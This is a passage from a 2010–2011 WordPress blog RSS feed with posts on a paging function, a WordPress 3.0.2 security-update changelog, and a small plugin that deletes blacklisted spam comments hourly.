<p><div style="float:right;width:300px;height:250px;margin-left:20px">
<script type="text/javascript"><!--
google_ad_client = "ca-pub-3108107609212063";
/* takien-content-300x250, created 12/9/10 */
google_ad_slot = "4897738383";
google_ad_width = 300;
google_ad_height = 250;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div><br />
The <em>my_wordpress_paging() </em>above accepts some parameters. </p>
<ul>
<li><strong>$prev</strong>, previous link text, default value &#8216;&lt;&lt; Previous&#8217;,</li>
<li><strong>$next</strong>, next link text, default value &#8216;Next &gt;&gt;&#8217;,</li>
<li><strong>$currentclass</strong>, class for current page, default &#8221;currentpage&#8217;,</li>
<li><strong>$pagingclass</strong>, class for wrapper div, default value &#8216;navigation&#8217;,</li>
<li><strong>$echo</strong>, whether paging will be echoed or not, if you want to store it in a variable set it to false, default &#8216;true&#8217;</li>
</ul>
<p>That&#8217;s all, any bug report or feedback are welcome. Thank you.</p>
<h2>5. Demo?</h2>
<p>Ah, I forget it, see this blog homepage. I already use it in this blog.</p>
]]></content:encoded>
			<wfw:commentRss>http://takien.com/807/make-your-own-123-wordpress-paging.php/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Word Replacer Plugins Version 0.2.1 Released</title>
		<link>http://takien.com/786/word-replacer-plugins-version-0-2-1-released.php</link>
		<comments>http://takien.com/786/word-replacer-plugins-version-0-2-1-released.php#comments</comments>
		<pubDate>Sat, 01 Jan 2011 09:13:09 +0000</pubDate>
		<dc:creator>takien</dc:creator>
				<category><![CDATA[Plugins]]></category>

		<guid isPermaLink="false">http://takien.com/?p=786</guid>
		<description><![CDATA[Post merged here: http://takien.com/587/word-replacer-wordpress-plugin.php]]></description>
			<content:encoded><![CDATA[<p>Post merged here:  <a href="http://takien.com/587/word-replacer-wordpress-plugin.php">http://takien.com/587/word-replacer-wordpress-plugin.php</a></p>
]]></content:encoded>
			<wfw:commentRss>http://takien.com/786/word-replacer-plugins-version-0-2-1-released.php/feed</wfw:commentRss>
		<slash:comments>28</slash:comments>
		</item>
		<item>
		<title>WordPress 3.0.2 is available! Please update now</title>
		<link>http://takien.com/759/wordpress-3-0-2-is-available-please-update-now.php</link>
		<comments>http://takien.com/759/wordpress-3-0-2-is-available-please-update-now.php#comments</comments>
		<pubDate>Wed, 01 Dec 2010 07:43:32 +0000</pubDate>
		<dc:creator>takien</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://takien.com/?p=759</guid>
		<description><![CDATA[On November 30, 2010, WordPress 3.0.2 was released to the public. This is a mandatory security update for all previous WordPress versions. For version 3.0.2, the database version (db_version in wp_options) remained at 15477. Installation/Update Information To download WordPress 3.0.2, update automatically from the Dashboard &#62; Updates menu in your site&#8217;s admin area or visit [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_760" class="wp-caption alignleft" style="width: 310px"><a href="http://takien.com/wp-content/uploads/2010/12/wp-update.jpg"><img class="size-medium wp-image-760" title="wp-update" src="http://takien.com/wp-content/uploads/2010/12/wp-update-300x215.jpg" alt="Wordpress 3.0.2" width="300" height="215" /></a><p class="wp-caption-text">Wordpress 3.0.2</p></div>
<p>On November 30, 2010, WordPress 3.0.2 was released to the public. This is a mandatory security update for all previous WordPress versions.</p>
<p>For version 3.0.2, the database version (db_version in wp_options) remained at 15477.<br />
<strong><br />
Installation/Update Information</strong></p>
<p>To download WordPress 3.0.2, update automatically from the Dashboard &gt; Updates menu in your site&#8217;s admin area or visit <a href="http://wordpress.org/download/release-archive/" target="_blank">http://wordpress.org/download/release-archive/</a>.</p>
<p><strong>Summary</strong></p>
<ul>
<li>Fix moderate security issue where a malicious Author-level user could gain further access to the site. (r16625)</li>
</ul>
<p><div style="float:right;width:300px;height:250px;margin-left:20px">
<script type="text/javascript"><!--
google_ad_client = "ca-pub-3108107609212063";
/* takien-content-300x250, created 12/9/10 */
google_ad_slot = "4897738383";
google_ad_width = 300;
google_ad_height = 250;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div></p>
<p><strong>Other bugs and security hardening:</strong></p>
<ul>
<li>Remove pingback/trackback blogroll whitelisting feature as it can easily be abused. (#13887)</li>
<li>Fix canonical redirection for permalinks containing %category% with nested categories and paging. (#13471)</li>
<li>Fix occasional irrelevant error messages on plugin activation. (#15062)</li>
<li>Minor XSS fixes in request_filesystem_credentials() and when deleting a plugin. (r16367, r16373)</li>
<li>Clarify the license in the readme (r15534)</li>
<li> Multisite: Fix the delete_user meta capability (r15562)</li>
<li> Multisite: Force current_user_can_for_blog() to run map_meta_cap() even for super admins (#15122)</li>
<li> Multisite: Fix ms-files.php content type headers when requesting a URL with a query string (#14450)</li>
<li> Multisite: Fix the usage of the SUBDOMAIN_INSTALL constant for upgraded WordPress MU installs (#14536)</li>
</ul>
<p><strong>List of Files Revised<br />
</strong></p>
<pre>wp-includes/ms-files.php
wp-includes/version.php
wp-includes/comment.php
wp-includes/functions.php
wp-includes/load.php
wp-includes/canonical.php
wp-includes/capabilities.php
readme.html
wp-admin/includes/plugin.php
wp-admin/includes/file.php
wp-admin/includes/update-core.php
wp-admin/plugins.php</pre>
<p>Source: WordPress.org</p>
]]></content:encoded>
			<wfw:commentRss>http://takien.com/759/wordpress-3-0-2-is-available-please-update-now.php/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Way I Deal with Spam Comments</title>
		<link>http://takien.com/726/the-way-i-deal-with-spam-comments.php</link>
		<comments>http://takien.com/726/the-way-i-deal-with-spam-comments.php#comments</comments>
		<pubDate>Fri, 05 Nov 2010 08:03:07 +0000</pubDate>
		<dc:creator>takien</dc:creator>
				<category><![CDATA[Plugins]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://takien.com/?p=726</guid>
		<description><![CDATA[There are so many WordPress plugins tagged spam published in WordPress plugins directory. Most of the plugins is to combat spam comment in WordPress blog. However, I am not use one of those plugins, because of several reasons:  they are captcha based (eg. re-Captcha) and they are using API (eg. Akismet). In my experience, using [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_728" class="wp-caption alignleft" style="width: 254px"><a href="http://takien.com/wp-content/uploads/2010/11/spammer.gif"><img class="size-full wp-image-728" title="spammer" src="http://takien.com/wp-content/uploads/2010/11/spammer.gif" alt="Spammer" width="244" height="235" /></a><p class="wp-caption-text">Spammer</p></div>
<p>There are so many WordPress plugins tagged <em>spam </em>published in <a href="http://wordpress.org/extend/plugins/tags/spam" target="_blank">WordPress plugins directory</a>. Most of the plugins is to combat spam comment in WordPress blog. However, I am not use one of those plugins, because of several reasons:  they are captcha based (eg. re-Captcha) and they are using API (eg. Akismet). In my experience, using both type of anti spam could decrease my blog performance.</p>
<p><div style="float:right;width:300px;height:250px;margin-left:20px">
<script type="text/javascript"><!--
google_ad_client = "ca-pub-3108107609212063";
/* takien-content-300x250, created 12/9/10 */
google_ad_slot = "4897738383";
google_ad_width = 300;
google_ad_height = 250;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div></p>
<p>For that reason I have a few tips for you to combat spam without sacrificing your web performance:</p>
<p>1. Never install any anti spam plugins that come with captcha, API, or remote database access.</p>
<p>2. Some plugins will count your spam, haha&#8230; it&#8217;s funny. Do not install such plugins.</p>
<p>3. Ensure you have these setting in <em>wp-admin/options-discussion.php</em></p>
<p><em>- An administrator must always approve the comment </em>( This should be ON)<br />
<em> &#8211; Comment author must  have a previously approved comment </em>(This should be OFF)</p>
<p>4.  Use built in WordPress feature, blacklist comment. See figure below:</p>
<div id="attachment_727" class="wp-caption alignnone" style="width: 310px"><a href="http://takien.com/wp-content/uploads/2010/11/comment-blacklist.gif"><img class="size-medium wp-image-727 " title="comment-blacklist" src="http://takien.com/wp-content/uploads/2010/11/comment-blacklist-300x89.gif" alt="Comment blacklist" width="300" height="89" /></a><p class="wp-caption-text">Comment blacklist</p></div>
<p>6. Delete spam comment automatically. To do this I have written a little plugin named <strong>Delete Spam Hourly.</strong></p>
<p>Here is the code:</p>
<div style="clear:both"></div><div class="example" style="margin:10px 0"><p><strong>Delete</strong></p><div class="example-contents programlisting"><div class="phpcode"><code><span style="color: #000000">
[raw]&lt;/p&gt;<br />&lt;pre&gt;<br />/*<br />Plugin&nbsp;Name:&nbsp;Delete&nbsp;Spam&nbsp;Hourly<br />Plugin&nbsp;URI:&nbsp;http://takien.com<br />Description:&nbsp;Automatically&nbsp;delete&nbsp;blacklisted&nbsp;comment/spam&nbsp;every&nbsp;hour.<br />Author:&nbsp;takien<br />Version:&nbsp;0.1<br />Author&nbsp;URI:&nbsp;http://takien.com/<br />*/<br /><br />register_activation_hook(__FILE__,&nbsp;'activate_delete_spam_hourly');<br />add_action('delete_spam_hourly_event',&nbsp;'delete_spam_hourly');<br /><br />function&nbsp;activate_delete_spam_hourly()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;wp_schedule_event(time(),&nbsp;'hourly',&nbsp;'delete_spam_hourly_event');<br />}<br /><br />function&nbsp;delete_spam_hourly()&nbsp;{<br />$pending&nbsp;=&nbsp;'0';<br />$spam&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;'spam';<br /><br />global&nbsp;$wpdb;<br />$comment_ids&nbsp;=&nbsp;$wpdb-&gt;get_col(&nbsp;"SELECT&nbsp;comment_ID&nbsp;FROM&nbsp;$wpdb-&gt;comments&nbsp;WHERE&nbsp;comment_approved&nbsp;=&nbsp;'$pending'&nbsp;OR&nbsp;comment_approved&nbsp;=&nbsp;'$spam'"&nbsp;);<br /><br />foreach&nbsp;($comment_ids&nbsp;as&nbsp;$comment_id){<br />&nbsp;&nbsp;&nbsp;&nbsp;$comment&nbsp;=&nbsp;get_comment($comment_id,&nbsp;'ARRAY_A');<br />&nbsp;&nbsp;&nbsp;&nbsp;if(wp_blacklist_check($comment['comment_author'],$comment['comment_author_email'],$comment['comment_author_url'],$comment['comment_content'],&nbsp;$comment['comment_author_IP'],$comment['comment_agent'])){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;wp_delete_comment($comment_id);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}<br />}<br />&lt;/pre&gt;<br />&lt;p&gt;[/raw]</span>
</code></div></div></div>
<div class="information"><div class="box-title">Download</div><div class="box-content"><br />
<a href="http://takien.com/project/plugins/delete-spam-hourly.zip">http://takien.com/project/plugins/delete-spam-hourly.zip</a><br />
</div></div>
]]></content:encoded>
			<wfw:commentRss>http://takien.com/726/the-way-i-deal-with-spam-comments.php/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Page Caching using disk: enhanced (User agent is rejected)
Database Caching 23/38 queries in 0.219 seconds using disk: basic

Served from: takien.com @ 2012-05-22 16:17:05 -->
